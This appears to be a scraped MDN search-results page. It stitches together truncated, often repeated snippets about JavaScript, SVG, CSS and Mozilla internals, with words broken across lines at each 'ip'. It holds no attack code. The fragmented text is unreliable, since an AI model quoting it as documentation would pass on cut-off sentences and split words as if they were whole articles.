... array buffer is created internally in memory or, if an arraybuffer object is given as constructor argument, then this is used instead. the buffer address is saved as an internal property of the instance and all the methods of %typedarray%.prototype, i.e. set value and get value etc., operate on that array buffer address. ...
...these objects all have a common syntax for their constructors: new typedarray(); new typedarray(length); new typedarray(typedarray); new typedarray(object); new typedarray(buffer [, byteoffset [, length]]); where typedarray is a constructor for one of the concrete types. parameters length when called with a length argument, an internal array buffer is created in memory, of size length mult
iplied by bytes_per_element bytes, containing zeros. typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array. each value in typedarray is converted to the corresponding type of the constructor before being copied into the new array. the length of the new typed array will be sam...
...And 3 more matches
WebAssembly.Global() constructor - JavaScript
this can be one of i32, i64, f32, and f64. mutable: a boolean value that determines whether the global is mutable or not. by default, this is false. value the value the variable contains. ...
...this can be one of i32, i64, f32, and f64. mutable: a boolean value that determines whether the global is mutable or not. by default, this is false. value the value the variable contains. ...
...this can be one of i32, i64, f32, and f64. mutable: a boolean value that determines whether the global is mutable or not. by default, this is false. value the value the variable contains. ...
...And 3 more matches
Property accessors - JavaScript
property accessors provide access to an object's properties by using the dot notation or the bracket notation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object.property object['property'] descr
iption one can think of an object as an associative array (a.k.a. map, dictionary, hash, lookup table). the keys in this array are the names of the object's properties. it's typical when speaking of an object's properties to make a distinction between properties and methods. however, the property/method distinction is little more than a convention. a method is simply a property that can be called (for examp...
...istinction between properties and methods. however, the property/method distinction is little more than a convention. a method is simply a property that can be called (for example, if it has a reference to a function instance as its value). there are two ways to access properties: dot notation and bracket notation. dot notation in the object.property syntax, the property must be a valid javascr
ipt identifier. (in the ecmascr
ipt standard, the names of properties are technically "identifiernames", not "identifiers", so reserved words can be used but are not recommended). for example, object.$1 is valid, while object.1 is not. const variable = object.property_name; object.property_name = value; const object = {}; object.$1 = 'foo'; console.log(object.$1); // 'foo' object.1 = 'bar'; ...
...y other value, including a number, is coerced to a string. this outputs 'value', since 1 is coerced into '1'. let object = {} object['1'] = 'value' console.log(object[1]) this also outputs 'value', since both foo and bar are converted to the same string. ...
...And 3 more matches
delete operator - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax delete expression where expression should evaluate to a property reference, e.g.: delete object.property delete object['property'] parameters object the name of an object, or an expression evaluating to an object. property the property to delete. ...
...te object['property'] parameters object the name of an object, or an expression evaluating to an object. property the property to delete. return value true for all cases except when the property is an own non-configurable property, in which case, false is returned in non-strict mode. exceptions throws typeerror in strict mode if the property is an own non-configurable property. descr
iption unlike what common belief suggests (perhaps due to other programming languages like delete in c++), the delete operator has nothing to do with directly freeing memory. memory management is done indirectly via breaking references. see the memory management page for more details. the delete operator removes a given property from an object. on successful deletion, it will return true, else fal...
... (apart from the global scope) can be deleted with delete. any property declared with let or const cannot be deleted from the scope within which they were defined. non-configurable properties cannot be removed. this includes properties of built-in objects like math, array, object and properties that are created as non-configurable with methods like object.defineproperty(). ...
...And 3 more matches
typeof - JavaScript
ctive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax the typeof operator is followed by its operand: typeof operand typeof(operand) parameters operand an expression representing the object or primitive whose type is to be returned. ...
...dn/interactive-examples and send us a pull request. syntax the typeof operator is followed by its operand: typeof operand typeof(operand) parameters operand an expression representing the object or primitive whose type is to be returned. descr
iption the following table summarizes the possible return values of typeof. for more information about types and primitives, see also the javascr
ipt data structure page. ...
...e whose type is to be returned. descr
iption the following table summarizes the possible return values of typeof. for more information about types and primitives, see also the javascr
ipt data structure page. type result undefined "undefined" null "object" (see below) boolean "boolean" number "number" bigint (new in ecmascr
ipt 2020) "bigint" string "string" symbol (new in ecmascr
ipt 2015) "symbol" function object (implements [[call]] in ecma-262 terms) "function" any other object "object" note: ecmascr
ipt 2019 and older permitted implementations to have typeof return any implementation-defined string value for non-callable non-standard exotic objects. the onl...
...And 3 more matches
Expressions and operators - JavaScript
this the this keyword refers to a special property of an execution context. function the function keyword defines a function expression. class the class keyword defines a class expression. function* the function* keyword defines a generator function expression. yield pause and resume a generator function. yield* delegate to another generator function or iterable object. async function the async function defines an async function expression. ...
...member operators provide access to a property or method of an object (object.property and object["property"]). new the new operator creates an instance of a constructor. new.target in constructors, new.target refers to the constructor that was invoked by new. super the super keyword calls the parent constructor. ...obj spread syntax allows an expression to be expanded in places where mult
iple arguments (for function calls) or mult
iple elements (for array literals) are expected. increment and decrement postfix/prefix increment and postfix/prefix decrement operators. a++ postfix increment operator. a-- postfix decrement operator. ++a prefix increment operator. --a prefix decrement operator. unary operators a unary operation is operation with only one operand. delete...
...operand to number type. - the unary negation operator converts its operand to number type and then negates it. ~ bitwise not operator. ! logical not operator. arithmetic operators arithmetic operators take numerical values (either literals or variables) as their operands and return a single numerical value. + addition operator. - subtraction operator. / division operator. * mult
iplication operator. % remainder operator. ** exponentiation operator. relational operators a comparison operator compares its operands and returns a boolean value based on whether the comparison is true. in the in operator determines whether an object has a given property. instanceof the instanceof operator determines whether an object is an instance of another object. < less than op...
...And 3 more matches
var - JavaScript
o contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax var varname1 [= value1] [, varname2 [= value2] ... [, varnamen [= valuen]]]; varnamen variable name. it can be any legal identifier. valuen optional initial value of the variable. it can be any legal expression. default value is undefined. descr
iption var declarations, wherever they occur, are processed before any code is executed. this is called hoisting, and is discussed further below. the scope of a variable declared with var is its current execution context and closures thereof, which is either the enclosing function and functions declared within it, or, for variables declared outside any function, global. duplicate variable declarat...
...ial value is undefined. 'use strict'; console.log(x); // undefined (note: not referenceerror) console.log('still going...'); // still going... var x = 1; console.log(x); // 1 console.log('still going...'); // still going... in the global context, a variable declared using var is added as a non-configurable property of the global object. this means its property descr
iptor cannot be changed and it cannot be deleted using delete. the corresponding name is also added to a list on the internal [[varnames]] slot on the global environment record (which forms part of the global lexical environment). the list of names in [[varnames]] enables the runtime to distinguish between global variables and straightforward properties on the global object. the property created on...
...f the global lexical environment). the list of names in [[varnames]] enables the runtime to distinguish between global variables and straightforward properties on the global object. the property created on the global object for global variables, is set to be non-configurable because the identifier is to be treated as a variable, rather than a straightforward property of the global object. ...
...And 3 more matches
Trailing commas - JavaScript
trailing commas (sometimes called "final commas") can be useful when adding new elements, parameters, or properties to javascr
ipt code. if you want to add a new property, you can simply add a new line without modifying the previously last line if that line already uses a trailing comma. this makes version-control diffs cleaner and editing code might be less troublesome. javascr
ipt has allowed trailing commas in array literals since the beginning, and later added them to object literals (ecmascr
ipt 5) and most recently (ecmascr
ipt 2017) to function parameters. json, however, disallows trailing commas. ...
...ling comma. this makes version-control diffs cleaner and editing code might be less troublesome. javascr
ipt has allowed trailing commas in array literals since the beginning, and later added them to object literals (ecmascr
ipt 5) and most recently (ecmascr
ipt 2017) to function parameters. json, however, disallows trailing commas. syntax , examples trailing commas in literals arrays javascr
ipt ignores trailing commas in arrays: var arr = [ 1, 2, 3, ]; arr; // [1, 2, 3] arr.length; // 3 if more than one trailing comma is used, an elision (or hole) is produced. an array with holes is called sparse (a dense array has no holes). when iterating arrays for example with array.prototype.foreach() or array.prototype.map(), array holes are sk
ipped. var arr = [1, 2, 3,,,]; arr.length; ...
... var arr = [ 1, 2, 3, ]; arr; // [1, 2, 3] arr.length; // 3 if more than one trailing comma is used, an elision (or hole) is produced. an array with holes is called sparse (a dense array has no holes). when iterating arrays for example with array.prototype.foreach() or array.prototype.map(), array holes are sk
ipped. var arr = [1, 2, 3,,,]; arr.length; // 5 objects starting with ecmascr
ipt 5, trailing commas in object literals are legal as well: var object = { foo: "bar", baz: "qwerty", age: 42, }; trailing commas in functions ecmascr
ipt 2017 allows trailing commas in function parameter lists. parameter definitions the following function definition pairs are legal and equivalent to each other. trailing commas don't affect the length property of function declarations or ...
...And 3 more matches
CSS and JavaScript animation performance - Web Performance
css transitions and animations both css transitions and animations can be used to write animation. ...
... css transitions and animations both css transitions and animations can be used to write animation. ...
...tyle, as well as possible intermediate points. see using css animations for more details. in terms of performance, there is no difference between implementing an animation with css transitions or animations. both of them are classified under the same css-based umbrella in this article. requestanimationframe the requestanimationframe() api provides an efficient way to make animations in javascr
ipt. the callback function of the method is called by the browser before the next repaint on each frame. compared to settimeout()/setinterval(), which need a specific delay parameter, requestanimationframe() is much more efficient. developers can create an animation by simply changing an element's style each time the loop is called (or updating the canvas draw, or whatever.) note: like css transit...
...And 3 more matches
Clipping and masking - SVG: Scalable Vector Graphics
<< previousnext >> erasing part of what one has created might at first sight look contradictory. but when you try to create a semicircle in svg, you will find out the use of the following properties quickly. cl
ipping refers to removing parts of elements defined by other parts. in this case, any half-transparent effects are not possible, it's an all-or-nothing approach. masking on the other hand allows soft edges by taking transparency and grey values of the mask into account. ...
.... but when you try to create a semicircle in svg, you will find out the use of the following properties quickly. cl
ipping refers to removing parts of elements defined by other parts. in this case, any half-transparent effects are not possible, it's an all-or-nothing approach. masking on the other hand allows soft edges by taking transparency and grey values of the mask into account. ...
...his case, any half-transparent effects are not possible, it's an all-or-nothing approach. masking on the other hand allows soft edges by taking transparency and grey values of the mask into account. creating cl
ips we create the above mentioned semicircle based on a circle element: <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <cl
ippath id="cut-off-bottom"> <rect x="0" y="0" width="200" height="100" /> </cl
ippath> </defs> <circle cx="100" cy="100" r="100" cl
ip-path="url(#cut-off-bottom)" /> </svg> centered at (100,100) a circle with radius 100 is painted. the attribute cl
ip-path references a <cl
ippath> element with a single rect element. this rectangular on its own would paint the upper half of the canvas bl...
...And 3 more matches
Label and description - Archive of obsolete content
line breaking under normal conditions, a descr
iption will not break long-running text and the text may be cropped or hidden. to cause the text to wrap: ensure the long-running text is a text node child of <descr
iption/> or <label/> (i.e., do not specify the long-running text in the value attribute of these elements). the default style for these xul elements includes white-space: wrap;. this reduces all whitespace chunks (including newlines) to single spaces. text is permitted to wrap. <descr
iption>i am your father's brother's nephew's cousin's former roommate. what's that make us? absolutely nothing!</descr
iption> with white-space: pre; all whitespace, including newlines, is rendered literally. text cannot wrap automatically but can still be achieved with <html:br/> if desired. <desc...
...es all whitespace chunks (including newlines) to single spaces. text is permitted to wrap. <descr
iption>i am your father's brother's nephew's cousin's former roommate. what's that make us? absolutely nothing!</descr
iption> with white-space: pre; all whitespace, including newlines, is rendered literally. text cannot wrap automatically but can still be achieved with <html:br/> if desired. <descr
iption style="white-space: pre-wrap;">i am your father's brother's nephew's cousin's former roommate. what's that make us? absolutely nothing!</descr
iption> with white-space: pre-wrap; all whitespace is rendered literally, but text is additionally permitted to wrap at spaces. note: prior to firefox 3, it was necessary to use -moz-pre-wrap instead of -pre-wrap. you may wish to use both for backwa...
...pre-wrap;">i am your father's brother's nephew's cousin's former roommate. what's that make us? ...
...And 2 more matches
Actionscript Acceptance Tests - Archive of obsolete content
the acceptance test template can be found here. testing versioned bug fixes when testing versioned bug fixes (using avmplus.system.swfversion) there are a couple of requirements: you must use system.swfversion when looking up the swfversion. the test file can not be wrapped in a package or define classes as the file will be wrapped in a function when used in the ats. if you must use classes, define them in a sub-dir with the same name as the test. ...
... up the swfversion. the test file can not be wrapped in a package or define classes as the file will be wrapped in a function when used in the ats. if you must use classes, define them in a sub-dir with the same name as the test. you must create a testname.as.avm_args file with the uses_swfversion directive. support files: there are a variety of support files available for non-standard actionscr
ipt tests. testname.as.asc_args this file specifies additional arguments to pass to asc when compiling the test: # asc args for file # two modes are available: # override| all command line arguments (except builtin.py) are ignored and replaced by these # merge| merge these args in with the current args # specifiy an arg that starts with -no will disable the arg... eg: -no-optimize merge| -as3 a dir...
...e dir.asc_args file. testname.as.avm_args this file specifies additional arguments to pass to the shell when running the test - the user can use the special variable $dir to refer to the current directory. this example passes in another .abc file as an argument to the file being run: -- $dir/file.abc another use would be to pass a specific argument to the shell: -dtimeout this file can have mult
iple lines with different arguments. when there are mult
iple lines, the harness will re-run the test for every line passing along the different arguments. there is one special keyword that can be used, uses_swfversion. when that keyword is encountered, the test harness will run the test against all possible -swfversion versions: uses_swfversion is the equivalent of: -swfversion 9 -swfversion 10 -...
...And 2 more matches
triple - Archive of obsolete content
the predicate would be a child element or property. for example, for a bookmark resource, the name and url would be predicates. ...
...the predicate would be a child element or property. for example, for a bookmark resource, the name and url would be predicates. they should be specified in their full uri form. the object is the value of the rdf property. ...
...the predicate would be a child element or property. ...
...And 2 more matches
ant script to assemble an extension - Archive of obsolete content
this ant scr
ipt helps to package an extension <?xml version="1.0"?> this build file was written by regis decamps <decamps@users.sf.net> <project name="blogmark" default="createxpi"> <property name="version" value="1.3-rc1"/> <property name="descr
iption" value="new context-menu item to add the current page in your blogmarks"/> xpi file is created after "chrome/blogmark.jar" is created, which is then stuffed into "blogmark.xpi" <target name="createxpi" depends="createjar" descr
iption="assemble the final build blogmark.xpi"> <z
ip destfile="blogmark-${version}.xpi"> <z
ipfileset dir="." includes="chrome/blogmark.jar" /> <z
ipfi...
... is created, which is then stuffed into "blogmark.xpi" <target name="createxpi" depends="createjar" descr
iption="assemble the final build blogmark.xpi"> <z
ip destfile="blogmark-${version}.xpi"> <z
ipfileset dir="." includes="chrome/blogmark.jar" /> <z
ipfileset dir="." includes="install.rdf" /> </z
ip> </target> everything inside the chrome directory is z
ipped into chrome/blogmark.jar <target name="createjar" depends="templates" descr
iption="assemble the jar"> <jar destfile="chrome/blogmark.jar"> <fileset dir="chrome/"> <include name="**/*"/> <exclude name="**/*~"/> ...
...rk.jar"> <fileset dir="chrome/"> <include name="**/*"/> <exclude name="**/*~"/> <exclude name="**/*.tpl.*"/> <exclude name="blogmark.jar"/> </fileset> </jar> </target> <target name="templates" descr
iption="generate files from templates."> <copy file="chrome/content/blogmark/contents.rdf.tpl.xml" tofile="chrome/content/blogmark/contents.rdf" overwrite="true"> <filterchain> <replacetokens> <token key="version" value="${version}"/> ...
...And 2 more matches
Shipping a plugin as a Toolkit bundle - Archive of obsolete content
one of the new features that is available in firefox 1.5 is the ability to place browser plugins in a toolkit bundle. historically, most people have chosen to use an install.js scr
ipt to install a plugin. when this method is used, you can choose to either place the plugin into the plugins directory, or place it into your own directory and modify the windows registry to let firefox know where to find the plugin. the downside to this method is that once the plugin is installed, it might be difficult for users to upgrade, uninstall, or disable the plugin. as of firefox 3 (and any gecko 1.9 based application) the use of install.js scr
ipts is no longer supported and plugins must either be sh
ipped as an executable installer or in a bundle as described here. bundle structure toolkit bundles...
... as described here. bundle structure toolkit bundles can be used for all add-ons including extensions, themes and plugins. plugin packages should only need to package a small set of files in the following structure in the xpi file: install.rdf plugins/ pluginlib.dll plugintypes.xpt the install.rdf file contains an install manifest that describes the plugin to the user. the library and scr
ipting interfaces are held in the plugins directory. platform-specific files gecko 1.9.2 (firefox 3.6) and earlier prior to gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1), it was possible to package mult
iple plugin libraries for different operating systems into a single xpi bundle. in the xpi you can use the following structure: platform/ linux_x86-gcc3/ plugins/ lib...
...directories. instead, you need to place the different plugin libraries into the plugins directory. for example: plugins/ libplugin.so libplugin.dylib install manifest the install manifest describes the plugin to the user. ...
...And 2 more matches
Server-Side JavaScript - Archive of obsolete content
language to write entire web apps -- the same language which billions of web pages already use, every day. sounds obvious, but for at least the first twelve years of the web's evolution, developers have pretty much had to use different languages on the server from those available in the browser, leading to segregated teams, disparate and inconsistent know-how, and plenty of server-side string man
ipulation gymnastics to generate html or ajax pages. the simplicity of using javascr
ipt on the server was part of netscape's original vision back in the day with netscape livewire. but back then, 350 mhz servers were the best you could buy, and mozilla was yet to emerge from the netscape organization to continue to advance the state of web technologies. today with computing cycles having increase...
...e simplicity of using javascr
ipt on the server was part of netscape's original vision back in the day with netscape livewire. but back then, 350 mhz servers were the best you could buy, and mozilla was yet to emerge from the netscape organization to continue to advance the state of web technologies. today with computing cycles having increased more than 10-fold and mozilla's work on rhino (javascr
ipt interpreter in java) and spidermonkey (javascr
ipt interpreter in c) and javascr
ipt itself, we have very solid foundations for javascr
ipt to be extraordinarily useful and applicable on the server-side again -- with performance in the same range as popular server-side environments like php and ruby on rails. ...
... 10-fold and mozilla's work on rhino (javascr
ipt interpreter in java) and spidermonkey (javascr
ipt interpreter in c) and javascr
ipt itself, we have very solid foundations for javascr
ipt to be extraordinarily useful and applicable on the server-side again -- with performance in the same range as popular server-side environments like php and ruby on rails. now, with tracemonkey available, javascr
ipt (both client side and server-side) can see 20x to 40x speed improvements according to brendan eich, mozilla cto and creator of javascr
ipt. ...
...And 2 more matches
Describing microformats in JavaScript - Archive of obsolete content
classname a string specifying the name of the microformat's class as referenced in html (class="classname"). required an array indicating the names of any properties that must be specified. this may be left out if all properties are optional. ...
... classname a string specifying the name of the microformat's class as referenced in html (class="classname"). required an array indicating the names of any properties that must be specified. this may be left out if all properties are optional. properties a structure describing the properties of the microformat. ...
... may be left out if all properties are optional. properties a structure describing the properties of the microformat. property specifications each property in the properties structure is specified by its name, and may include additional attributes if the property so requires. standard attributes are: plural a boolean value indicating that, if true indicates that the property can have mult
iple values. if a property is plural, it is returned as an array. virtual a boolean value indicating whether or not the property is virtual. if it's virtual, the virtualgetter() method will be called to attempt to create the property if it doesn't exist. virtualgetter a function that is called to get a virtual property's value. this is only used if virtual is true. value the property's default...
...And 2 more matches
Multiprocess on Windows
s you should already know from the prerequisite reading, single threaded apartments receive remote procedure calls (rpcs) from com, via the windows message queue. from a performance standpoint, this is less than ideal. the windows message queue carries a lot of baggage for the purposes of maintaining backward compatibility. on the other hand, com's multithreaded apartment (mta) uses a much faster
ipc mechanism that does not suffer from the same problems as the message queue. ideally, we would like to receive rpcs via threads in the mta, and then forward them in a thread-safe way to gecko's main thread. unfortunately, crossing apartment boundaries using com incurs the exact same problem as crossing process boundaries: if we directly use com's built in marshaling capabilities to forward an rpc...
...tor dispatches a callback that allows us to do whatever we want with that request. our callback implementation forwards the method call to the main thread in order to invoke the method on the wrapped object. the interceptor is also aware that any outparams, which contain interfaces, must also be wrapped with interceptors of their own. this code lives in the mscom library, located in the tree at /
ipc/mscom. its headers are exported to mozilla/mscom. ensuring that the interceptor supports your interfaces this information is current, but is likely to change when bug 1346957 is landed. interceptors cannot replicate interfaces without access to the metadata that describes those interfaces. since we are using com, we already generate metadata by declaring interfaces using midl. this does not...
...s of interfaces. we will now further detail each of these items: generating typelibs for all com interfaces you first need to include a library statement in your idl. when midl processes your idl, it generates c code for building a proxy dll, containing the oicf metadata. it also will output a file with the .tlb extension. this file contains the typelib metadata. both metadata types must be sh
ipped with firefox. the oicf metadata is sh
ipped via the proxy dll. to include the typelib metadata, embed it in the proxy dll's resources. both types of metadata are then made available from within the same dll. this is achieved by specifying rcinclude in the dll's moz.build, and then specifying the resources in an .rc file. you should always embed your typelib with its resource id set to 1. we em...
...And 2 more matches
Frame script environment
addeventlistener() listen to events from content. removeeventlistener() stop listening to events from content. addmessagelistener() listen to messages from chrome. removemessagelistener() stop listening to messages from chrome. sendasyncmessage() send an asynchronous message to chrome. sendsyncmessage() send a synchronous message to chrome. dump() print a message to the console. atob() base64 decode. ...
...r() stop listening to messages from chrome. sendasyncmessage() send an asynchronous message to chrome. sendsyncmessage() send a synchronous message to chrome. dump() print a message to the console. atob() base64 decode. btoa() base64 encode. components the usual components object. in particular, note that a frame scr
ipt accesses the dom window using content, not window: // frame scr
ipt var links = content.document.getelementsbytagname("a"); all of the frame scr
ipts running in a tab share this global. however, any top-level variables defined by a scr
ipt are not stored on the global: instead, top-level variables are stored in a special per-scr
ipt object that delegates to the per-tab global. this means you don't...
...ytagname("a"); all of the frame scr
ipts running in a tab share this global. however, any top-level variables defined by a scr
ipt are not stored on the global: instead, top-level variables are stored in a special per-scr
ipt object that delegates to the per-tab global. this means you don't have to worry about global variables you define conflicting with global variables defined by another frame scr
ipt. you can still access the global directly using this. frame scr
ipts run with system princ
ipals. if you want other princ
ipals or when interacting with untrusted page scr
ipts, you should use a sandbox. frame scr
ipts run with system privileges and have access to the components object, enabling them to use xpcom objects and jsms. however, some apis that work in the chrome process do not work in a ...
...And 2 more matches
overflow-clip-box
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the overflow-cl
ip-box css property specifies relative to which box the cl
ipping happens when there is an overflow. ...
...is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the overflow-cl
ip-box css property specifies relative to which box the cl
ipping happens when there is an overflow. it is short hand for the overflow-cl
ip-box-inline and overflow-cl
ip-box-block properties. ...
...ng the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the overflow-cl
ip-box css property specifies relative to which box the cl
ipping happens when there is an overflow. it is short hand for the overflow-cl
ip-box-inline and overflow-cl
ip-box-block properties. /* keyword values */ overflow-cl
ip-box: padding-box; overflow-cl
ip-box: content-box; /* two values */ overflow-cl
ip-box: padding-box content-box; overflow-cl
ip-box: content-box content-box; /* global values */ overflow-cl
ip-box: inherit; overflow-cl
ip-box: initial; overflow-cl
ip-box: unset; note: on gecko, by default, padding-box is used everywhere, but <input type="text"> and similar use the value content-box. prior to firef...
...And 2 more matches
IPDL Type Serialization
all types used in
ipdl must be serializable. this is accomplished through type specialization of a c++ traits class. types are serialized and deserialized from an
ipc::message type declared in
ipc_message.h. each type specializes
ipc::paramtraits as follows: namespace
ipc { template <> struct paramtraits<mytype> { typedef mytype paramtype; static void write(message* amsg, const paramtype& aparam) { // implement serialization here } static bool read(const message* amsg, void** aiter, paramtype* aresult) { // implement deserialization here. return false if deserialization failed } }; } // namespace
ipc the standard
ipdl types (integers, floats, and xpcom strings) already have serializers. other types need to have serializers written for them explicitly. in m...
...lization failed } }; } // namespace
ipc the standard
ipdl types (integers, floats, and xpcom strings) already have serializers. other types need to have serializers written for them explicitly. in many cases a serializer can be written by combining existing serializers. ...
...if in doubt, please ask for help! it ...
...And 2 more matches
JavaScript code modules
note: these are not the same thing as standard javascr
ipt modules. see export and import to learn more about how to use standard modules. javascr
ipt code modules let mult
iple privileged javascr
ipt scopes share code. for example, a module could be used by firefox itself as well as by extensions, in order to avoid code duplication. general topics using javascr
ipt code modules an introduction to how to use javascr
ipt code modules. components.utils.import how to import a javascr
ipt code module. components.utils.unload how to unload a javascr
ipt code module. code sn
ippets: modules examples of how to use code modules. ...
... standard code modules addonmanager.jsm an interface to install, manage, and uninstall add-ons. addonrepository.jsm provides a search of add-ons in the repository. ...
... implements the commonjs unit testing specification version 1.1, which provides a basic standardized interface for performing in-code logical assertions with optional, customizable error reporting. bookmarkhtmlutils.jsm provides utility functions for importing and exporting bookmarks from the old-school "bookmarks.html" style bookmark files. ctypes.jsm provides an interface that allows javascr
ipt code to call native libraries without requiring the development of an xpcom component. customizableui.jsm allows you to interact with customizable buttons and items in firefox's main window ui. deferredtask.jsm run a task after a delay. dict.jsm provides an api for key/value pair dictionaries. downloadlastdir.jsm supplies the path to the directory into which the last download occurred. ...
...And 2 more matches
Emscripten
emscr
ipten is an llvm to javascr
ipt compiler. it takes llvm bytecode (e.g. generated from c/c++ using clang, or from another language) and compiles that into javascr
ipt, which can be run on the web. important: this page provides a very brief introduction to what emscr
ipten is. to get started with emscr
ipten, go to the official emscr
ipten wiki. using emscr
ipten, you can compile c and c++ code into javascr
ipt compile any other code that can be translated into llvm bytecode into javascr
ipt. ...
...vascr
ipt, which can be run on the web. important: this page provides a very brief introduction to what emscr
ipten is. to get started with emscr
ipten, go to the official emscr
ipten wiki. using emscr
ipten, you can compile c and c++ code into javascr
ipt compile any other code that can be translated into llvm bytecode into javascr
ipt. compile the c/c++ runtimes of other languages into javascr
ipt, and then run code in those other languages in an indirect way (this has been done for python and lua)! ...
... is. to get started with emscr
ipten, go to the official emscr
ipten wiki. using emscr
ipten, you can compile c and c++ code into javascr
ipt compile any other code that can be translated into llvm bytecode into javascr
ipt. compile the c/c++ runtimes of other languages into javascr
ipt, and then run code in those other languages in an indirect way (this has been done for python and lua)! emscr
ipten makes native code immediately available on the web: a platform that is standards-based, has numerous independent compatible implementations, and runs everywhere from pcs to
ipads. with emscr
ipten, c/c++ developers don't have the high cost of porting code manually to javascr
ipt -- or having to learn javascr
ipt at all. web developers also benefit, as they can use the many thousands of pre-exist...
...And 2 more matches
JSPropertyDescriptor
a descr
iptor is used to declare whether an attribute can be written to whether it can delete an object that can enumerate and specify content. properties a descr
iptor is an object that can have the following key values field name descr
iption getter the get syntax binds an object property to a function that will be called when that property is looked up. setter the set syntax binds an object property to a function to be called when there is an attempt to set that property. ...
...ey values field name descr
iption getter the get syntax binds an object property to a function that will be called when that property is looked up. setter the set syntax binds an object property to a function to be called when there is an attempt to set that property. value describes the value of the specified property, which can be any valid javascr
ipt value (function, object, string...) configurable declare that the property can be modified and deleted enumerable declare that the property can be enumerated, and the enumerable genus can be traversed by the for...in loop. ...
...e of the specified property, which can be any valid javascr
ipt value (function, object, string...) configurable declare that the property can be modified and deleted enumerable declare that the property can be enumerated, and the enumerable genus can be traversed by the for...in loop. writable declare whether the specified attribute can be rewritten descr
iption a descr
iptor is a property that describes an object's properties. there are two main types of property descr
iptors that exist in an object: a data descr
iptor and an access descr
iptor. you can use the object.getownpropertydescr
iptor() function to get the corresponding property of an object. descr
iptor. examples the following example demonstrates how to use the object.defineproperty() functi...
...And 2 more matches
JS_ExecuteScriptPart
obsolete since javascr
ipt 1.9.3this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. js_executescr
iptpart has been removed in bug 555104. use js_executescr
ipt instead. executes a part of a compiled scr
ipt. syntax typedef enum jsexecpart { jsexec_prolog, jsexec_main } jsexecpart; jsbool js_executescr
iptpart( jscontext *cx, jsobject *obj, jsscr
ipt *scr
ipt, jsexecpart part, jsval *rval); name type descr
iption cx jscontext * the context in which to execute the scr
ipt. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * the scope in which to execute the scr
ipt. this parameter ...
...object *obj, jsscr
ipt *scr
ipt, jsexecpart part, jsval *rval); name type descr
iption cx jscontext * the context in which to execute the scr
ipt. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * the scope in which to execute the scr
ipt. this parameter is documented in detail at js_executescr
ipt. scr
ipt jsscr
ipt * the compiled scr
ipt to execute. part jsexecpart the part of scr
ipt to execute. rval jsval * out parameter. on success, *rval receives the value from the last executed expression statement in the scr
ipt. descr
iption js_executescr
iptpart executes part of a previously compiled scr
ipt, scr
ipt. the part parameter must be either jse...
...t * the compiled scr
ipt to execute. part jsexecpart the part of scr
ipt to execute. rval jsval * out parameter. on success, *rval receives the value from the last executed expression statement in the scr
ipt. descr
iption js_executescr
iptpart executes part of a previously compiled scr
ipt, scr
ipt. the part parameter must be either jsexec_prolog to execute the scr
ipt prolog or jsexec_main to execute the main section of the scr
ipt. if the scr
ipt executes successfully, js_executescr
iptpart stores the value of the last-executed expression statement in the scr
ipt in *rval and returns js_true. otherwise it returns js_false, and the value left in *rval is undefined. to execute both parts of a scr
ipt, use js_executescr
ipt instead. see also mxr id search for js_exe...
...And 2 more matches
extIPreferenceBranch
this content covers features introduced in thunderbird 3 the ext
ipreferencebranch interface provides simplified access to preferences. the interface has a predefined root preference branch. the root branch is set based on the context of the owner. for example, an extension's preferences has a root of "extensions.extensionid.", while the application-level preferences have an empty root. all preference "aname" parameters used in this interface are relative to the root branch. ext
ipreferencebranch is defined in toolkit/components/exthelper/extiapplication.idl. implemented via xpcom service for extiapplication: see the instructions on the fuel (firefox), steel (thunderbird) and smile (seamonkey) pages. ...
...mpty root. all preference "aname" parameters used in this interface are relative to the root branch. ext
ipreferencebranch is defined in toolkit/components/exthelper/extiapplication.idl. implemented via xpcom service for extiapplication: see the instructions on the fuel (firefox), steel (thunderbird) and smile (seamonkey) pages. ...
...tructions on the fuel (firefox), steel (thunderbird) and smile (seamonkey) pages. method overview boolean has(in astring aname) ext
ipreference get(in astring aname) nsivariant getvalue(in astring aname, in nsivariant adefaultvalue) void setvalue(in astring aname, in nsivariant avalue) void reset() attributes attribute type descr
iption root readonly attribute astring the name of the branch root. all readonly attribute nsivariant array of ext
ipreference listing all preferences in this branch. events readonly attribute extievents the events object for the preferences supports: "change" methods has() check to see if a preference exists. boolean has(in astring aname) para...
...And 2 more matches
nsIClipboardDragDropHookList
widget/public/nsicl
ipboarddragdrophooklist.idlscr
iptable this interface is an internal gecko component. it provides basic operations such as adding, removing and enumerating cl
ipboard hooks for the nsicl
ipboarddragdrophooks interface. inherits from: nsisupports last changed in gecko 1.7 note: this interface is not intended for direct use by embedders; it is an implementation detail. you should access these capabilities indirectly by sending commands using the nsicl
ipboarddragdrophooks interface. within gecko, this interface is used by calling get_interface on a docshell. ...
...oks interface. inherits from: nsisupports last changed in gecko 1.7 note: this interface is not intended for direct use by embedders; it is an implementation detail. you should access these capabilities indirectly by sending commands using the nsicl
ipboarddragdrophooks interface. within gecko, this interface is used by calling get_interface on a docshell. method overview void addcl
ipboarddragdrophooks(in nsicl
ipboarddragdrophooks ahooks); nsisimpleenumerator gethookenumerator(); void removecl
ipboarddragdrophooks(in nsicl
ipboarddragdrophooks ahooks); methods addcl
ipboarddragdrophooks() this method adds a hook to the list. void addcl
ipboarddragdrophooks( in nsicl
ipboarddragdrophooks ahooks ); parameters ahooks implementation of hooks. gethoo...
...thods addcl
ipboarddragdrophooks() this method adds a hook to the list. void addcl
